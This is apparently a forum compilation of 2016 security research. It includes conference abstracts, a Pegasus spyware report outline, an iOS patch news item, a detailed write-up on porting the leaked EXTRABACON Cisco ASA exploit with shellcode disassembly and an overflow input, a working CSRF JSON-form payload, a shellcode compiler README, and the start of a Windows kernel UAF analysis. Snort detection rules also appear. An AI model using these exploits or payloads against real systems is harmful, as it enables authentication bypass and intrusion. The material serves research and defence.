Nytro

Behind the Scenes of iOS Security Publicat pe 16 aug. 2016 by Ivan Krstic With over a billion active devices and in-depth security protections spanning every layer from silicon to software, Apple works to advance the state of the art in mobile security with every release of iOS. We will discuss three iOS security mechanisms in unprecedented technical detail, offering the first public discussion of one of them new to iOS 10. HomeKit, Auto Unlock and iCloud Keychain are three Apple technologies that handle exceptionally sensitive user data – controlling devices (including locks) in the user's home, the ability to unlock a user's Mac from an Apple Watch, and the user's passwords and credit card information, respectively. We will discuss the cryptographic design and implementation of our novel secure synchronization fabric which moves confidential data between devices without exposing it to Apple, while affording the user the ability to recover data in case of device loss. Data Protection is the cryptographic system protecting user data on all iOS devices. We will discuss the Secure Enclave Processor present in iPhone 5S and later devices and explain how it enabled a new approach to Data Protection key derivation and brute force rate limiting within a small TCB, making no intermediate or derived keys available to the normal Application Processor. Traditional browser-based vulnerabilities are becoming harder to exploit due to increasingly sophisticated mitigation techniques. We will discuss a unique JIT hardening mechanism in iOS 10 that makes the iOS Safari JIT a more difficult target.

Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable Publicat pe 16 aug. 2016 by Tom Nipravsky Malware developers are constantly looking for new ways to evade the detection and prevention capabilities of security solutions. In recent years, we have seen many different tools, such as packers and new encryption techniques, help malware reach this goal of hiding the malicious code. If the security solution cannot unpack the compressed or encrypted malicious content (or at least unpack it dynamically), then the security solution will not be able to identify that it is facing malware. To further complicate the matter, we present a new technique for hiding malware (encrypted and unencrypted) inside a digitally signed file (while still keeping the file with a valid certificate) and executing it from the memory, using a benign executable (which acts as a reflective EXE loader, written from scratch). Our research demonstrates our Certificate Bypass tool and the Reflective EXE Loader. During the presentation, we will focus on the research we conducted on the PE file structure. We will take a closer look at the certificate table and how we can inject data to the table without damaging the certificate itself (the file will still look and be treated as a valid digitally signed file). We will examine the tool we wrote to execute PE files from memory (without writing them to the disk). We will cover the relevant fields in the PE structure, as well as the steps required to run a PE file directly from the memory without requiring any files on disk. Last, we will conclude the demonstration with a live example and show how we bypass security solutions based on the way they look at the certificate table.

HEIST: HTTP Encrypted Information can be Stolen Through TCP-Windows Publicat pe 16 aug. 2016 by Tom Van Goethem & Mathy Vanhoef Over the last few years, a worryingly number of attacks against SSL/TLS and other secure channels have been discovered. Fortunately, at least from a defenders perspective, these attacks require an adversary capable of observing or manipulating network traffic. This prevented a wide and easy exploitation of these vulnerabilities. In contrast, we introduce HEIST, a set of techniques that allows us to carry out attacks against SSL/TLS purely in the browser. More generally, and surprisingly, with HEIST it becomes possible to exploit certain flaws in network protocols without having to sniff actual traffic. HEIST abuses weaknesses and subtleties in the browser, and the underlying HTTP, SSL/TLS, and TCP layers. Most importantly, we discover a side-channel attack that leaks the exact size of any cross-origin response. This side-channel abuses the way responses are sent at the TCP level. Combined with the fact that SSL/TLS lacks length-hiding capabilities, HEIST can directly infer the length of the plaintext message. Concretely, this means that compression-based attacks such as CRIME and BREACH can now be performed purely in the browser, by any malicious website or script, without requiring network access. Moreover, we also show that our length-exposing attacks can be used to obtain sensitive information from unwitting victims by abusing services on popular websites. Finally, we explore the reach and feasibility of exploiting HEIST. We show that attacks can be performed on virtually every web service, even when HTTP/2 is used. In fact, HTTP/2 allows for more damaging attack techniques, further increasing the impact of HEIST. In short, HEIST is a set of novel attack techniques that brings network-level attacks to the browser, posing an imminent threat to our online security and privacy.

Technical Analysis of Pegasus Spyware An Investigation Into Highly Sophisticated Espionage Software Contents Executive Summary Background Disclosure Timeline Attack Overview Professional Grade Development Evolution of Software The Trident Vulnerabilities CVE-2016-4655: Memory Corruption in Safari Webkit CVE-2016-4656: Kernel Information Leak Circumvents KASLR CVE-2016-4657: Memory Corruption in Kernel leads to Jailbreak Jailbreak Persistence Spyware Analysis Installation and Persistence Persistence: JSC Privilege Escalation Disabling Updates Jailbreak Detection Device Monitoring Stealth Update to Command & Control Infrastructure Self Destruction Data Gathering Calendar Contacts GPS location Capturing User Passwords WiFi and Router Passwords Interception of Calls and Messages Process Injection: converter Skype Telegram WhatsApp Viber Real-Time Espionage Conclusion Download: https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf

Apple iOS users, update now – zero-day attack seen in the wild 26 AUG 2016 0Apple, iOS, Vulnerability Previous: Anatomy of a cryptographic collision – the “Sweet32” attack by Paul Ducklin Apple just released iOS 9.3.5, the latest security update for iDevice users. We suggest you apply this update as soon as you can, and here’s why. According to Apple’s security bulletin, it fixes three security holes along these lines: WebKit bug: visiting a maliciously crafted website may lead to arbitrary code execution. Kernel bug: an application may be able to disclose kernel memory. Kernel bug: an application may be able to execute arbitrary code with kernel privileges. You can imagine how these three vulnerabilities could be combined into a serious exploit, where visiting a booby-trapped website might not only infect you with user-level malware, but also go on from there to promote itself to gain kernel-level superpowers. The security built into iOS does a great job of keeping apps apart, so user-level malware is limited in what it can do: if you have a rogue GPS app, for example, it shouldn’t be able to reach across to your authenticator app and steal its cryptographic secrets. Nevertheless, a rogue GPS app would be bad enough on its own, as it could keep track of you when you weren’t expecting it. But if that rogue GPS app could also sneak itself into the iOS kernel, where the security checks and balances that keep apps apart are managed, then you’d have a lot more to worry about. Loosely speaking, malware than could arrive just by clicking a web link and then boost itself automatically to kernel level would effectively be a “one-click jailbreak.” A jailbreak is where you sneakily bypass the very security controls that are supposed to stop you bypassing the security controls, so you no longer have to play by Apple’s security rules. Notably, you are no longer restricted to the App Store, so you can follow up a jailbreak by installing whatever software you like. Well, reports suggest that just such a one-click jailbreak has been reported in the wild: Gizmodoclaims that the attack was created by an Israeli company called NSO Group that sells exploits and hacking services. Ironically, iOS 9.3.4 came out just three weeks ago, and that update also seems to have been hurried out to close a hole that was ostensibly being used for jailbreaking. Interestingly, another exploit-gathering company, Zerodium, last year famously offered up to $3,000,000 in bounty money for a trifecta of iOS “click-to-own” bugs, as they’re often called, and later claimed that just before the bounty expired, they’d received a bug submission that could be used for jailbreaking. Did that bug exist, and was it one of the three that were patched in the latest 9.3.5 update? We don’t know, but whether it was or wasn’t, you should get yourself the latest patches right away. Go to Settings | General | Software Update and see what version you’re on right now. Annoyingly, even though the update is just 39.5MB, you have to update via Wi-Fi. As usual, no updates are allowed via the mobile network. For urgent updates of this sort, it really would be handy for Apple to relax that restriction, especially when you think that you could just stick your SIM card in another phone, turn it into an access point, and update using the mobile network as your carrier anyway. Follow @NakedSecurity Follow @duckblog Sursa: https://nakedsecurity.sophos.com/2016/08/26/apple-ios-users-update-now-zero-day-attack-seen-in-the-wild/

Bake your own EXTRABACON August 25, 2016 In the last couple of days we took a closer look at the supposed NSA exploit EXTRABACON, leaked by Shadow Brokers. As an initial analysis of XORcat concluded, the code is capable of bypassing authentication of Cisco ASA devices after exploiting a memory corruption vulnerability in the SNMP service. We managed analyze and test the code in our lab and even add support for version 9.2(4) (that created quite bit of a hype :). While we don’t plan to release the upgraded code until an official patch is available for all affected versions, in this post we try to give a detailed description of the porting process: what the prerequisites are and how much effort is required to extend its capabilities. We also hope that this summary will serve as a good resource for those who want to get started with researching Cisco ASA. Meet Cisco ASA Cisco Adaptive Security Appliance (ASA) is a widely adopted network security appliance that – besides standard packet filtering capabilities –, also provides a portfolio of “smart”, application level features such as L7 protocol inspection or VPN. Presumably this complex feature set was one of the motivators for Cisco to choose 32-bit x86 CPUs for their implementation. According to the vendor homepage there are more than 1 million devices deployed around the world. The wide deployment, well understood architecture and the complex (thus likely bug rich) feature set makes Cisco ASA a hacker’s wet dream. It’s no surprise that several teams have done extensive research on the platform – among these the recent work of Exodus Intelligence and Alec Stuart’s Breaking Bricks presentation were the most inspirational for us, we highly recommend to take a good look at these before moving on! The test lab To start up with ASA it’s best to have some actual hardware. Fortunately ASA 5505 boxes can be found relatively cheaply on online auction sites. The different appliance versions have different size of internal persistent storage that limits the size of the firmware that can be uploaded, but the one available in 5505 is enough to test the 9.2 line that we are mostly interested in right now. When your little greenish(?) friend arrives you’ll probably won’t have a clue about its configuration so you should establish a serial connection that gives you opportunity to reset the configuration and access the console without a password. For this you’ll need a Cisco console cable (RJ45-to-DB9), and an RS232-USB converter – all available on your favorite online shop. With these you can connect the Console port of the device to the USB port on your workstation. On Linux you can use minicom to connect to the console, connection parameters are: 9600 baud Parity: 8N1 After you’re connected you can check the firmware version and configure the device. For our purposes it’s important to configure your interfaces for IP networking, enable SSH and SNMP (don’t forget to enable traffic in the access-list!) – you should consult the official Cisco documentation about how to do this. To install new firmware, you first need the matching firmware binary. Several versions can be found on the Internet with some smart googling, the name of the image file for version 9.2(4) is asa924-k8.bin. New firmware can be uploaded to the internal flash memory of the device via SCP: scp asa924-k8.bin admin@192.168.5.1:/asa924-k8.bin The boot order can then be configured according to this manual. With the preferred firmware version and the serial connection you can already verify the memory corruption exploited by EXTRABACON by sending a long SNMP OID like: 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.16.204.71.173.53.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144 This will likely result in an access violation that results in some basic debug information dumped on the serial console. This is nice, but you probably want to interactively debug your nice new target, let’s see how! Remote debugging To configure remote debugging we followed the guidelines of Alec Stuart (see the link above), here we now just give a quick overview of the process. ASA runs a Linux-like operating system where a large monolithic ELF binary called lina is responsible for handling (almost) all data coming through in task specific threads. The firmware image contains the root file system with all binaries and configuration files – you can extract this with binwalk: $ binwalk -e asa924-k8.bin DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------------------- 514 0x202 LZMA compressed data, properties: 0x64, dictionary size: 2097152 bytes, uncompressed size: 1048576 bytes 144510 0x2347E gzip compressed data, from Unix, last modified: Wed Jul 15 06:53:23 2015, max compression 1500012 0x16E36C ELF 1501296 0x16E870 gzip compressed data, was "rootfs.img", from Unix, last modified: Wed Jul 15 07:19:52 2015 28192154 0x1AE2D9A Zip archive data, at least v2.0 to extract, name: "com/cisco/webvpn/csvrjavaloader64.dll" 28773362 0x1B70BF2 Zip archive data, at least v2.0 to extract, name: "AliasHandlerWrapper-win64.dll" The rootfs.img file starts from offset 0x16E36C (in this case) in gzipped form, the file itself is a CPIO archive that you can extract with the standard command line tool. The/asa/scripts/rcS file is responsible for starting up lina during init. This file conveniently contains a commented line that passes command line arguments for thelina_monitor executable so it’ll start up with a GDB server enabled: # Use -g to have system await gdb connect during boot. #echo "/asa/bin/lina_monitor -l -g -d" >> /tmp/run_cmd We modified the repack.sh script demonstrated by Alec to: Automatically find and carve out rootfs.img from the firmware image Unpack it Replace rcS so it’ll start up lina in debug mode Repack the rootfs Put the new rootfs archive back into the firmware binary using dd After replacing the original firmware image on the device lina will wait for GDB attach during startup: Process /asa/bin/lina created; pid = 518 Remote debugging using /dev/ttyS0 To continue execution, fire up GDB as root, and attach to the target over serial: (gdb) target remote /dev/ttyUSB0 Now you can interactively debug your device. And the good news is: this was the hard part Bacon and eggs When we started dealing with EXTRABACON our main question was how hard it could be to add support to newer firmware versions. For this reason we took a “hacky” approach and looked for the easiest way to approach the problem, without caring too much about Cisco internals or other in depth details. First let’s take a look at the directory structure: . ├── extrabacon_1.1.0.1.py ├── Mexeggs │ ├── all.py │ ├── argparse.py │ ├── hexdump.py │ ├── __init__.py │ ├── loglib.py │ ├── log.py │ ├── sploit.py │ └── version.py ├── scapy ... └── versions ├── shellcode_asa802.py ... └── shellcode_asa844.py As we can see, shellcode for different firmware versions are stored separately in the versions/ directory, the main exploit code in a single Python file,extrabacon_1.1.0.1.py. This indicates modular design and version control, one Little Sunshine for the authors! Mexeggs is a “mini-framework” for the exploit: it defines standard interfaces for the implementation and handles common tasks like argument parsing and logging (The default log directory is D:\DSZOPSDisk\logs, the logs are stored under the directory codenamed "concernedparent"). This enforces self-documentation and facilitates integration with other tools, another Little Sunshine. Because of modularity the main exploit script only concerns us as long as we fix up version detection in the Extrabacon.fw_version_check() function – many draw conclusions about code quality because of the longer elif statement structure here, but I’m perfectly fine with adding just two lines (that I can basically copy-paste) to the source without figuring out some clever solutionTM. Let’s take a look at the shellcode scripts! To have a sense about how much work is ahead, one can just do a byte-by-byte diff on the files, here’s a capture between 8.0(2) and 8.4(4), the first and last supported versions: What we can see is that the shellcode is mostly the same for both versions, there are only some 2-4 bytes differences (some addresses/offsets maybe? :). There is a clear difference in the my_ret_addr values in every version, but anyone who ever done this kind of exploitation would be really happy to see a variable name (and value) like this: After added the two lines for version detection we copied one of the original shellcode files with the name shellcode_asa924.py to the versions directory and defined the usual 0x41414141 value as my_ret_addr. After launching the exploit, we were awarded with a nice little SIGSEGV: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 523] 0x41414141 in ?? () (gdb) info reg eax 0x0 0 ecx 0xcbd65a48 -875144632 edx 0x0 0 ebx 0x90909090 -1869574000 esp 0xccb980e0 0xccb980e0 ebp 0x90909090 0x90909090 esi 0x90909090 -1869574000 edi 0x90909090 -1869574000 eip 0x41414141 0x41414141 eflags 0x213246 [ PF ZF IF #12 #13 RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) As we can see, this is a clear instruction pointer overwrite, the NOPed register values also suggest that we are facing a classic stack-based buffer overflow. Before you ask: no, Cisco didn’t employ any kind of exploit mitigation, we don’t have to come around stack canaries, and the memory layout of the system is the same on every instance with identical firmware versions, so we can party like in the ’90s! After a quick inspection of the memory it’s clear that other parts of the shellcode are present on the stack, and like in a textbook example ESP points right to the second fragment in the script called finder – the disassembly of this stage can be read below: $ rasm2 -d "\x8b\x7c\x24\x14\x8b\x07\xff\xe0\x90" mov edi, dword [esp + 0x14] mov eax, dword [edi] jmp eax nop This simple code dereferences a pointer on the stack twice to transfer execution for the second stage. This code could be reused without modification and was 100% reliable during our tests, we only had to set my_ret_addr to a fixed address pointing to a jmp espinstruction in the 9.2(4) lina binary. The second stage called preamble is also pretty simple: mov eax, 0xad47cc10 xor eax, 0xa5a5a5a5 ; EAX=8E269B5 sub esp, 4 mov dword [esp], eax mov ebp, esp add ebp, 0x48 xor eax, eax xor ebx, ebx mov bl, 0x10 xor esi, esi mov edi, 0xaaaaaaae xor edi, 0xa5a5a5a5 ; EDI=F0F0F0B push al This code fixes the corrupted stack frame (Little Sunshine for the tidy room!) and pushes some constants (one of them looks like a code pointer…) on the stack – more about these later. After this, launcher is executed: mov eax, dword [esp + 0x1e8] add al, 1 call eax This little one reads a pointer from the stack, adjusts it a bit then calls the resulting address. Since we didn’t know what kind of pointer we were looking for we uploaded old firmware matching one of the supported versions to our device and modified the corresponding shellcode fragments to start with the 0xCC opcode (INT 3) that triggers a memory dump (we were too lazy to patch this firmware too for remote debugging…). This way we could find out that the address launcher is looking for is pointing to our first actual payload PMCHECK_disable. The launcher didn’t work out-of-the-box, so we started to search the memory around ESP to find signs of the payload. For this we initially used the 0xa5a5a5a5 pattern that is used in numerous places as an XOR mask, then narrowed the search with longer patterns. After we found the start of the payload, we looked for values on the stack pointing close to it. Finally were able to make this stage work too with someminor modifications on the included offsets. The payload actually consists of two parts, PMCHECK_disable and AAAADMINAUTH_disablewhich work in a really similar fashion, so we’ll now just discuss the first one of these: mov edi, 0xa5a5a5a5 mov eax, 0xa5a5a5d8 xor eax, edi ; EAX=7D mov ebx, 0xacf065a5 xor ebx, edi ; EBX=955C000 mov ecx, 0xa5a5b5a5 xor ecx, edi ; ECX=1000 mov edx, 0xa5a5a5a2 xor edx, edi ; EDX=7 int 0x80 ; SYSCALL jmp 0x39 mov edi, 0x955c9f0 ; ADDRESS TO PATCH xor ecx, ecx mov cl, 4 cld rep movsb byte es:[edi], byte ptr [esi] ; BUFFER COPY jmp 0x42 pop esi jmp 0x25 call 0x36 xor eax, eax ; PATCH CODE inc eax ret The first part again unmasks some constant values then triggers a syscall. The syscall identifier is in EAX by convention, so what we’re basically doing is: sys_mprotect(start=0x955C000, len=0x1000, prot=0x7) …effectively setting a memory page containing 0x955c9f0 writable. Fortunately the corresponding firmware is also publicly available, after extraction and disassembly it’s clear that this address is the entry point of a function that is (surprise!) responsible for an authentication check. The end of the shellcode (“always return 1″) is then copied to this address with the rep movsb instruction, finally the shellcode forwards the execution to the AAAADMINAUTH_disable payload part, that does exactly the same with the AAA API of the firmware. This way critical authentication checks will always return SUCCESS, resulting in an authentication bypass. Please note that we’re now having arbitrary code execution, so this patchwork is just one of the possible things we could do. Unfortunately, performing networking from shellcode on ASA is not trivial (see the XI post for details), so this solution seems reasonable, one that is both compact and easy to adopt to new targets. We adopted this code by looking up the patched functions in the newer firmware. Although subgraph isomorphism is a hard problem, in practice (close to) identical code parts could be identified based on debug strings (there are a lot of these in the linabinary) and “unique looking” code patterns (we admit that for this second part you need some intuition and luck). In IDA the matching functions are visually very similar, it’s easy to recognize them once they are found. And once again, the great thing about the payload is that after the matching entry points are found, we only have to modify 2 constants, and we’re done. Or are we? Although at this point we’ve successfully executed our payload, and authentication is disabled, we can’t login to a device that has crashed because we started to execute some garbage from the stack (which is executable, if it wasn’t obvious until now :). Remember the constant that looked like a code pointer in the preamble? Well, this is exactly the address where our almost ready exploit crashes the target. If we take a look at the disassembly in the “old” lina, we can see, that this is an address right after a function call, possibly a call to a function, where the corruption occurred and after which we’d like to continue execution like nothing have happened. The process here was the same: look up the same function in the new binary, patch the constant address in the preamble, and our exploit works as expected. Summary All in all, to support a new version one has to: Find a JMP ESP address Fix up stack offsets Fix two hardcoded function entry addresses Fix the hardcoded return address Steps 1., 3. and 4. can be performed automatically via static analysis. In our case step 2. required some debugging, but with some better understanding of the code it really seems plausible to fully automate the process of shellcode generation. In fact, leaked shellcode files start with this comment: # # this file autogenerated, do not touch # It’s also important to note that we created the new exploit version without detailed root cause analysis, special tools or source code, based just on the information available in the leaked code and obtained through debugging and simple static binary analysis. Little Sunshine. Future work As we encounter ASA devices regularly during our pentest projects we want to continue the work to add support for as many affected versions as possible. For this we plan to automate most of the process of shellcode generation that looks like an exciting task. It’s also important to perform extensive reliability tests, because we don’t want to risk crashing the equipment of our customers. Although the original exploit is very reliable, the described process seems to introduce some uncertainty that is yet to be resolved. Detection, mitigation, solution? Cisco released a detailed blog post and security advisory about the vulnerability exploited by EXTRABACON confirming that all supported versions are vulnerable. As of the time of writing no patch is available, as Workaround the vendor recommends to restrict access to the SNMP interface and set up hard to guess community strings. Two notes on these workarounds: SNMP is a UDP based protocol that allows trivial source address spoofing. You should keep this in mind when designing/reviewing network level workarounds. Community strings are transferred in plain text on the network. We don’t expect the common community strings (like public) to go away any time soon. There are also Snort rules available, from which I could access the one from Emerging Threats (thanks Mario): alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA PMCHECK Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ac 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023070; rev:1;) alert udp any any -> any 161 (msg:"ET EXPLOIT Equation Group ExtraBacon Cisco ASA AAAADMINAUTH Disable"; content:"|bf a5 a5 a5 a5 b8 d8 a5 a5 a5 31 f8 bb a5|"; content:"|ad 31 fb b9 a5 b5 a5 a5 31 f9 ba a2 a5 a5 a5 31 fa cd 80 eb 14 bf|"; distance:2; within:22; content:"|31 c9 b1 04 fc f3 a4 e9 0c 00 00 00 5e eb ec e8 f8 ff ff ff 31 c0 40 c3|"; distance:4; within:24; reference:url,xorcatt.wordpress.com/2016/08/16/equationgroup-tool-leak-extrabacon-demo/; classtype:attempted-admin; sid:2023071; rev:1;) (If you have access to the rules released by Cisco or other IDS/IPS signatures, please contact us!) This is clearly an attempt to catch one of the payloads by matching a signature, which can be trivially bypassed by changing the XOR mask, or change the sequence of some instructions (just to name a few methods). From forensics perspective, the "return 1" patches are clear indicators of compromise (the corresponding memory addresses can be extracted from the leaked files), although we have to stress that the known payloads are just some of the infinite possible ones. Before the publishing this post Cisco started to roll out patches for certain firmware versions – be sure to test and apply these on your equipment to thwart the attacks based on EXTRABACON! As the vendor started to systematically eradicate vulnerabilities, we expect the latest patches to include more than just this fix, that’d be an effort to be appreciated. However, in the long term up-to-date exploit mitigation techniques should be applied on ASA (and other) software to provide scalable protection for the platform, killing entire vulnerability classes and raising attacker cost. We’ll update this post as new relevant information emerges. Sursa: https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/

Posting JSON with an HTML Form 24 Aug 2016 in Security Tags: Hacks, Web Security A coworker and I were looking at an application today that, like so many other modern web applications, offers a RESTful API with JSON being used for serialization of requests/responses. She noted that the application didn’t include any sort of CSRF token and didn’t seem to use any of the headers (X-Requested-With, Referer, Origin, etc.) as a “poor man’s CSRF token”, but since it was posting JSON, was it really vulnerable to CSRF? Yes, yes, definitely yes! The idea that the use of a particular encoding is a security boundary is, at worst, a completely wrong notion of security, and at best, a stopgap until W3C, browser vendors, or a clever attacker gets hold of your API. Let’s examine JSON encoding as a protection against CSRF and demonstrate a mini-PoC. The Application We have a basic application written in Go. Authentication checking is elided for post size, but this is not just an unauthenticated endpoint. package main import ( "encoding/json" "fmt" "net/http" ) type Secrets struct { Secret int } var storage Secrets func handler(w http.ResponseWriter, r *http.Request) { if r.Method == "POST" { json.NewDecoder(r.Body).Decode(&storage) } fmt.Fprintf(w, "The secret is %d", storage.Secret) } func main() { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) } As you can see, it basically serves a secret number that can be updated via HTTP POST of a JSON object. If we attempt a URL-encoded or multipart POST, the JSON decoding fails miserably and the secret remains unchanged. We must POST JSON in order to get the secret value changed. Exploring Options So let’s explore our options here. The site can locally use AJAX via the XMLHTTPRequest API, but due to the Same-Origin Policy, an attacker’s site cannot use this. For most CSRF, the way to get around this is plain HTML forms, since form submission is not subject to the Same-Origin Policy. The W3C had a draft specification for JSON forms, but that has been abandoned since late 2015, and isn’t supported in any browsers. There are probably some techniques that can make use of Flash or other browser plugins (aren’t there always?) but it can even be done with basic forms, it just takes a little work. JSON in Forms Normally, if we try to POST JSON as, say, a form value, it ends up being URL encoded, not to mention including the field name. <form method='POST'> <input name='json' value='{"foo": "bar"}'> <input type='submit'> </form> Results in a POST body of: json=%7B%22foo%22%3A+%22bar%22%7D Good luck decoding that as JSON! Doing it as the form field name doesn’t get any better. %7B%22foo%22%3A+%22bar%22%7D=value It turns out you can set the enctype of your form to text/plain and avoid the URL encoding on the form data. At this point, you’ll get something like: json={"foo": "bar"} Unfortunately, we still have to contend with the form field name and the separator (=). This is a simple matter of splitting our payload across both the field name and value, and sticking the equals sign in an unused field. (Or you can use it as part of your payload if you need one.) Putting it All Together <body onload='document.forms[0].submit()'> <form method='POST' enctype='text/plain'> <input name='{"secret": 1337, "trash": "' value='"}'> </form> </body> This results in a request body of: {"secret": 1337, "trash": "="} This parses just fine and updates our secret! Sursa: https://systemoverlord.com/2016/08/24/posting-json-with-an-html-form.html

Cross Arch Shellcode Compiler 2016 - ixtyInformation This program allows to build portable, architecture independant shellcode from C code. It currently supports the following architectures: x86 x86_64 arm arm_64 It works by: compiling the same C code for each architecture linking it to arch specific syscall implementation using a polyglot dispatching shellcode The final layout of the output binary is: [ DISPATCHER ] [ X86 BLOCK ] [ X86_64 BLOCK ] [ ARM BLOCK ] [ ARM_64 BLOCK ] The dispatcher is in stage0 Open stage0/README for information on how it works Each arch specific block has the following layout: [ LOADER ] [ RELOC NUM ] [ RELOC 0 ] [ RELOC 1 ] ... [ RELOC N ] [ START OFF ] [ CODE ] Open stage1/README for information on loaders The final payload code is the stage2. Open stage2/README for information on the payloadDependencies python2.7 nasm gcc pyelftools (pip install pyelftools) qemu-user-static qemu-utils arm chroot with gcc arm64 chroot with gcc Assuming you use debian: # apt-get install gcc nasm python2.7 python-pip # apt-get install qemu qemu-user-static qemu-utils binfmt-support debootstrap # qemu-debootstrap --arch=arm64 jessie /opt/arm64/ http://ftp.debian.org/debian # qemu-debootstrap --arch=armhf jessie /opt/armhfxx/ http://ftp.debian.org/debian # chroot /opt/arm64 # apt-get install gcc # exit # chroot /opt/armhf # apt-get install gcc # exitRunning & testing $ ./build.py If everything goes well, it creates ./ouput which is the portable multi-arch shellcode. To test that everything works, use the provided 'sc' utility: On the local x86_64 machine user@x86_64-box $ ./sc_86 ./output user@x86_64-box $ ./sc_x86_64 ./output ... And in the chroots for arm/arm64 user@armhf-chroot $ ./sc_arm ./output user@arm64-chroot $ ./sc_arm_64 ./outputCredits Thanks to feliam https://github.com/feliam/mkShellcode http://blog.binamuse.com/2013/01/about-shellcodes-in-c.html The x86 / x86_64 loader code is taken from this project and the shellcode extraction technique is based upon his work aswell. Link: https://github.com/ixty/xarch_shellcode

Diaphora Diaphora (διαφορά, Greek for 'difference') is a program diffing plugin for IDA Pro, similar to Zynamics Bindiff or the FOSS counterparts DarunGrim, TurboDiff, etc... It was released during SyScan 2015. At the moment, it works with IDA Pro but support for Radare2 (and maybe Pyew or even Hopper) is also planned. For more details, please check the tutorial in the "doc" directory.Getting help and asking for features You can join the mailing list https://groups.google.com/forum/?hl=es#!forum/diaphora to ask for help, new features, report issues, etc... For reporting bugs, however, I recommend using the issues tracker:https://github.com/joxeankoret/diaphora/issues Please note that only the last 2 versions of IDA will be supported. As of today, it means that only 6.7 and 6.8 are supported. Version 6.6 "should work" (with all the last patches that were supplied to customers), but no support is offered for it. Documentation You can check the tutorial https://github.com/joxeankoret/diaphora/blob/master/doc/diaphora_help.pdfScreenshots This is a screenshot of Diaphora diffing the Microsoft bulletin MS15-034: These are some screenshots of Diaphora diffing the Microsoft bulletin MS15-050, extracted from the blog post Analyzing MS15-050 With Diaphora from Alex Ionescu. Link: https://github.com/joxeankoret/diaphora

Root Cause Analysis of Windows Kernel UAF Vulnerability lead to CVE-2016-3310 by Wayne Chin Yick Low | Aug 17, 2016 | Filed in: Security Research In the first quarter of 2016, we realized that there were tons of windows kernel use-after-free (UAF) vulnerability patches in Microsoft bulletins where most of the vulnerabilities came from Google Project Zero, which is favourable to us because we can easily access those proof-of-concepts (POC). While doing a root cause analysis of one of the UAF vulnerabilities stated in CVE-2015-6100, we discovered that there is an alternative way to trigger the same UAF vulnerability, even after the specified patch has been applied due to weak security fixes. In this blog post, we will discuss the journey of unveiling CVE-2016-3310 as specified in MS16-098 Root cause analysis of CVE-2015-6100 Before we started analysing the POC, we first enabled special pool on the target machine using verifier.exe to could help us to identify the exact faulty code that triggered the UAF. After special pool was set accordingly, we easily spotted the UAF by running the POC (please note that this analysis was performed on a Windows 7 x86 platform): eax=000013ec ebx=90a20402 ecx=fb864da8 edx=000019c8 esi=fab18728 edi=00000000 eip=90a30e64 esp=92cebcf8 ebp=92cebd08 iopl=0 nv up ei ng nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010282 win32k!DC::bMakeInfoDC+0xf5: 90a30e64 394120 cmp dword ptr [ecx+20h],eax ds:0023:fb864dc8=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 82931ce7 to 828cd308 STACK_TEXT: 92ceb7d4 82931ce7 00000003 12cf79fe 00000065 nt!RtlpBreakWithStatusInstruction 92ceb824 829327e5 00000003 00000000 000fb7f2 nt!KiBugCheckDebugBreak+0x1c 92cebbe8 828e03c1 00000050 fb864dc8 00000000 nt!KeBugCheck2+0x68b 92cebc6c 82892be8 00000000 fb864dc8 00000000 nt!MmAccessFault+0x104 92cebc6c 90a30e64 00000000 fb864dc8 00000000 nt!KiTrap0E+0xdc 92cebd08 90a20427 00000000 0027fb98 fab18728 win32k!DC::bMakeInfoDC+0xf5 92cebd24 8288fa06 1d210408 00000000 0027fbc0 win32k!NtGdiMakeInfoDC+0x25 92cebd24 76ec71b4 1d210408 00000000 0027fbc0 nt!KiSystemServicePostCall 0027fb84 75376f81 75367e2b 1d210408 00000000 ntdll!KiFastSystemCallRet 0027fb88 75367e2b 1d210408 00000000 00010000 GDI32!NtGdiMakeInfoDC+0xc 0027fbc0 75357a04 1d210408 0027fc28 010272f4 GDI32!MFP_StartPage+0x84 0027fbd8 00ff11e3 1d210408 000000f6 070c0ad7 GDI32!ExtFloodFill+0x93 Listing 1: Faulty code that trigger use-after-free vulnerability After some back-tracing, the offending code was found at win32k!DC::bMakeInfoDC. We were then able to determine that the freed object is a surface object (also known as a bitmap object in user-mode context), which is located at the HDCOBJ+1F8. Next, we tried to find out the type of the freed object. Note that at this point we disabled the special pool in the following WinDBG output in order to find out the object type of the pointer stored at HDCOBJ+1F8: win32k!DC::bMakeInfoDC+0xd3: 91440e42 8d8ef8010000 lea ecx,[esi+1F8h] kd> r eax=fe8b5ff0 ebx=91430402 ecx=00000030 edx=fe8bd170 esi=fe8b5728 edi=00000000 eip=91440e42 esp=96e43cf8 ebp=96e43d08 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 win32k!DC::bMakeInfoDC+0xd3: 91440e42 8d8ef8010000 lea ecx,[esi+1F8h] kd> .load pykd.pyd kd> dc fe8b5728 l1 fe8b5728 1a210433 3.!. kd> !py E:\_Scripts\_PyKd\findGDIAddressByGDIHandle.py -v 0x1a210433 PEB: 0x7ffde000 TEB: 0x7ffdf000 Process name: C:\Users\analyst\Desktop\cve-2015-6100-poc.exe GdiShareHandleTable (KM): 0xffffffffff810000 